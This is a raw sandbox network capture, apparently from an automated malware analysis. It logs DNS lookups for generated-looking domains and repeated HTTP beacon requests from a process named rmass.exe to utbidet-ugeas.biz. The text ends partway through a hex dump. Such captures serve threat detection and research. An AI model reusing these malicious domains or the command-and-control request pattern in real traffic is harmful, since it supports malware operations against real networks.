Jan 5, 2025 10:52:00.846299887 CET	1.1.1.1	192.168.2.4	0x99b7	Name error (3)	pvkkseokg.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.876401901 CET	1.1.1.1	192.168.2.4	0x6270	Name error (3)	pvkkseokg.cd	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.919869900 CET	1.1.1.1	192.168.2.4	0xbc79	No error (0)	mumxighfnwk.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.940475941 CET	1.1.1.1	192.168.2.4	0xdfd	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.949963093 CET	1.1.1.1	192.168.2.4	0xd9a3	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:00.997096062 CET	1.1.1.1	192.168.2.4	0x9011	No error (0)	gsytaygkyi.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.018695116 CET	1.1.1.1	192.168.2.4	0x12dd	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.031666040 CET	1.1.1.1	192.168.2.4	0x7780	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.228724003 CET	1.1.1.1	192.168.2.4	0x3370	No error (0)	ogabeoxiw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.250096083 CET	1.1.1.1	192.168.2.4	0x656f	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.261765003 CET	1.1.1.1	192.168.2.4	0x91b6	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.298680067 CET	1.1.1.1	192.168.2.4	0x22a9	Name error (3)	shmmirazghiwzh.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.322900057 CET	1.1.1.1	192.168.2.4	0x9926	Name error (3)	shmmirazghiwzh.pw	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.372195959 CET	1.1.1.1	192.168.2.4	0x1a73	No error (0)	ebichiqob.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.417939901 CET	1.1.1.1	192.168.2.4	0x36aa	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:01.431535006 CET	1.1.1.1	192.168.2.4	0x3834	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:02.235692978 CET	1.1.1.1	192.168.2.4	0x758	Name error (3)	itururi.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.681224108 CET	1.1.1.1	192.168.2.4	0x62c	Name error (3)	itururi.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.809962034 CET	1.1.1.1	192.168.2.4	0x62c	Name error (3)	itururi.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.822233915 CET	1.1.1.1	192.168.2.4	0xb5ea	No error (0)	wkbfljiyyria.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.843265057 CET	1.1.1.1	192.168.2.4	0x6f92	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.856561899 CET	1.1.1.1	192.168.2.4	0xc261	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.894248962 CET	1.1.1.1	192.168.2.4	0x39a7	No error (0)	tqwswdpayyk.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.968261957 CET	1.1.1.1	192.168.2.4	0x32dd	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:03.976135015 CET	1.1.1.1	192.168.2.4	0x1146	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.269642115 CET	1.1.1.1	192.168.2.4	0xf5ff	Name error (3)	okqsp.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.552551985 CET	1.1.1.1	192.168.2.4	0xe204	Name error (3)	okqsp.st	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.594619036 CET	1.1.1.1	192.168.2.4	0x7a96	Name error (3)	evcafdhw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.612113953 CET	1.1.1.1	192.168.2.4	0x595c	Name error (3)	evcafdhw.museum	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.670815945 CET	1.1.1.1	192.168.2.4	0xd904	No error (0)	psukkeomkuwov.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.729878902 CET	1.1.1.1	192.168.2.4	0x6e1b	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.739990950 CET	1.1.1.1	192.168.2.4	0xf6fc	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.832216978 CET	1.1.1.1	192.168.2.4	0x245	No error (0)	eqlitcukw.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.854921103 CET	1.1.1.1	192.168.2.4	0x3511	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.865708113 CET	1.1.1.1	192.168.2.4	0xb130	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.909019947 CET	1.1.1.1	192.168.2.4	0x48d8	No error (0)	glkqi.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.929822922 CET	1.1.1.1	192.168.2.4	0x3d5c	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:04.943567038 CET	1.1.1.1	192.168.2.4	0xbfd5	Name error (3)	anpurih.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:05.251029015 CET	1.1.1.1	192.168.2.4	0x37de	Name error (3)	aqpebuwzmsaw.mp	none	none	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:52:06.201399088 CET	1.1.1.1	192.168.2.4	0x6418	Name error (3)	aqpebuwzmsaw.mp	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

utbidet-ugeas.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:03.091810942 CET	169	OUT	GET /d/N?02D31B4852D31B4852FD1B6452D31B60EAD7376A96D21B88FAD11F7E7CE1357160E32B6652 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:03.578617096 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:03 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 14722e70-1764-48df-9362-8f2a5a7a51e8 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_qTamqdrVgdOWL5MQ2i9Mee0TGOqTYark1xNOU79z+FejoPf0PmsfjcjLKuhu+27moiC1yQcnlrQ89uS71LO1hg== set-cookie: parking_session=14722e70-1764-48df-9362-8f2a5a7a51e8; expires=Sun, 05 Jan 2025 10:03:03 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 71 54 61 6d 71 64 72 56 67 64 4f 57 4c 35 4d 51 32 69 39 4d 65 65 30 54 47 4f 71 54 59 61 72 6b 31 78 4e 4f 55 37 39 7a 2b 46 65 6a 6f 50 66 30 50 6d 73 66 6a 63 6a 4c 4b 75 68 75 2b 32 37 6d 6f 69 43 31 79 51 63 6e 6c 72 51 38 39 75 53 37 31 4c 4f 31 68 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_qTamqdrVgdOWL5MQ2i9Mee0TGOqTYark1xNOU79z+FejoPf0PmsfjcjLKuhu+27moiC1yQcnlrQ89uS71LO1hg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:03.578636885 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMTQ3MjJlNzAtMTc2NC00OGRmLTkzNjItOGYyYTVhN2E1MWU4IiwicGFnZV90aW1lIjoxNzM2MDcwND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:06.563544989 CET	169	OUT	GET /d/N?02F096C79EF096C79EDE96EB9EF096EF26F4BAE55AF1960736F292F1B0C2B8FEACC0A6E99E HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:07.289649963 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:06 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: fdf20282-f315-4414-8c6e-898bf9aa8bf4 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VT0j9jYlSZOe+6Tz7YgVt4ZcSyMLVDaKixXwKCgbX89imWF7r7BbTRGcI7wX/y37NjJSAc/oDzZPFEarOOj5qw== set-cookie: parking_session=fdf20282-f315-4414-8c6e-898bf9aa8bf4; expires=Sun, 05 Jan 2025 10:03:06 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 54 30 6a 39 6a 59 6c 53 5a 4f 65 2b 36 54 7a 37 59 67 56 74 34 5a 63 53 79 4d 4c 56 44 61 4b 69 78 58 77 4b 43 67 62 58 38 39 69 6d 57 46 37 72 37 42 62 54 52 47 63 49 37 77 58 2f 79 33 37 4e 6a 4a 53 41 63 2f 6f 44 7a 5a 50 46 45 61 72 4f 4f 6a 35 71 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VT0j9jYlSZOe+6Tz7YgVt4ZcSyMLVDaKixXwKCgbX89imWF7r7BbTRGcI7wX/y37NjJSAc/oDzZPFEarOOj5qw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:07.289669037 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZmRmMjAyODItZjMxNS00NDE0LThjNmUtODk4YmY5YWE4YmY0IiwicGFnZV90aW1lIjoxNzM2MDcwND
Jan 5, 2025 10:48:07.290150881 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:06 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: fdf20282-f315-4414-8c6e-898bf9aa8bf4 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VT0j9jYlSZOe+6Tz7YgVt4ZcSyMLVDaKixXwKCgbX89imWF7r7BbTRGcI7wX/y37NjJSAc/oDzZPFEarOOj5qw== set-cookie: parking_session=fdf20282-f315-4414-8c6e-898bf9aa8bf4; expires=Sun, 05 Jan 2025 10:03:06 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 54 30 6a 39 6a 59 6c 53 5a 4f 65 2b 36 54 7a 37 59 67 56 74 34 5a 63 53 79 4d 4c 56 44 61 4b 69 78 58 77 4b 43 67 62 58 38 39 69 6d 57 46 37 72 37 42 62 54 52 47 63 49 37 77 58 2f 79 33 37 4e 6a 4a 53 41 63 2f 6f 44 7a 5a 50 46 45 61 72 4f 4f 6a 35 71 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VT0j9jYlSZOe+6Tz7YgVt4ZcSyMLVDaKixXwKCgbX89imWF7r7BbTRGcI7wX/y37NjJSAc/oDzZPFEarOOj5qw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:11.626008987 CET	169	OUT	GET /d/N?0292F6407A92F6407ABCF66C7A92F668C296DA62BE93F680D290F27654A0D87948A2C66E7A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:12.080611944 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:11 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 03b24057-a5e2-48be-ad0e-102866cea871 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_m1NcpAyK667NlL3unkYGhTD5MY3XghIyN8n64ZDFP+tqee4gJegO6R1g+ceFUMeqXqwI3yvq/o+QsO1dYjuPcg== set-cookie: parking_session=03b24057-a5e2-48be-ad0e-102866cea871; expires=Sun, 05 Jan 2025 10:03:12 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6d 31 4e 63 70 41 79 4b 36 36 37 4e 6c 4c 33 75 6e 6b 59 47 68 54 44 35 4d 59 33 58 67 68 49 79 4e 38 6e 36 34 5a 44 46 50 2b 74 71 65 65 34 67 4a 65 67 4f 36 52 31 67 2b 63 65 46 55 4d 65 71 58 71 77 49 33 79 76 71 2f 6f 2b 51 73 4f 31 64 59 6a 75 50 63 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_m1NcpAyK667NlL3unkYGhTD5MY3XghIyN8n64ZDFP+tqee4gJegO6R1g+ceFUMeqXqwI3yvq/o+QsO1dYjuPcg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:12.080627918 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMDNiMjQwNTctYTVlMi00OGJlLWFkMGUtMTAyODY2Y2VhODcxIiwicGFnZV90aW1lIjoxNzM2MDcwND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:12.274698019 CET	169	OUT	GET /d/N?0270E4A37F70E4A37F5EE48F7F70E48BC774C881BB71E463D772E0955142CA9A4D40D48D7F HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:12.737740993 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:11 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: f57373ec-7a6b-4718-82a6-5b8d8101abb6 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_qrz/F16GLrOEqpp1RwWExgKVUqEiooBFgCZLtvZ4vTRLlaYE/JZxkeX6F1Q6APkodYAM06PdvJgM7HX+N6AtBQ== set-cookie: parking_session=f57373ec-7a6b-4718-82a6-5b8d8101abb6; expires=Sun, 05 Jan 2025 10:03:12 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 71 72 7a 2f 46 31 36 47 4c 72 4f 45 71 70 70 31 52 77 57 45 78 67 4b 56 55 71 45 69 6f 6f 42 46 67 43 5a 4c 74 76 5a 34 76 54 52 4c 6c 61 59 45 2f 4a 5a 78 6b 65 58 36 46 31 51 36 41 50 6b 6f 64 59 41 4d 30 36 50 64 76 4a 67 4d 37 48 58 2b 4e 36 41 74 42 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_qrz/F16GLrOEqpp1RwWExgKVUqEiooBFgCZLtvZ4vTRLlaYE/JZxkeX6F1Q6APkodYAM06PdvJgM7HX+N6AtBQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Jan 5, 2025 10:48:12.737761021 CET	715	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZjU3MzczZWMtN2E2Yi00NzE4LTgyYTYtNWI4ZDgxMDFhYmI2IiwicGFnZV90aW1lIjoxNzM2MDcwND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	58643	199.59.243.228	80	7344	C:\Windows\SysWOW64\rmass.exe

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 10:48:16.676806927 CET	169	OUT	GET /d/N?0203D8FC1403D8FC142DD8D01403D8D4AC07F4DED002D83CBC01DCCA3A31F6C52633E8D214 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Jan 5, 2025 10:48:17.140089989 CET	1236	IN	HTTP/1.1 200 OK date: Sun, 05 Jan 2025 09:48:16 GMT content-type: text/html; charset=utf-8 content-length: 1262 x-request-id: 29bb9a5d-7ecd-4625-9672-755bf287b06a cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_dqdhYaTbFIqQe8WQhuJArmmRw8Fm53Pbjh8Ux5TLI85cO33qn2EiTmB9poscimSszO++3leVVUd1M31BPCPTcA== set-cookie: parking_session=29bb9a5d-7ecd-4625-9672-755bf287b06a; expires=Sun, 05 Jan 2025 10:03:17 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 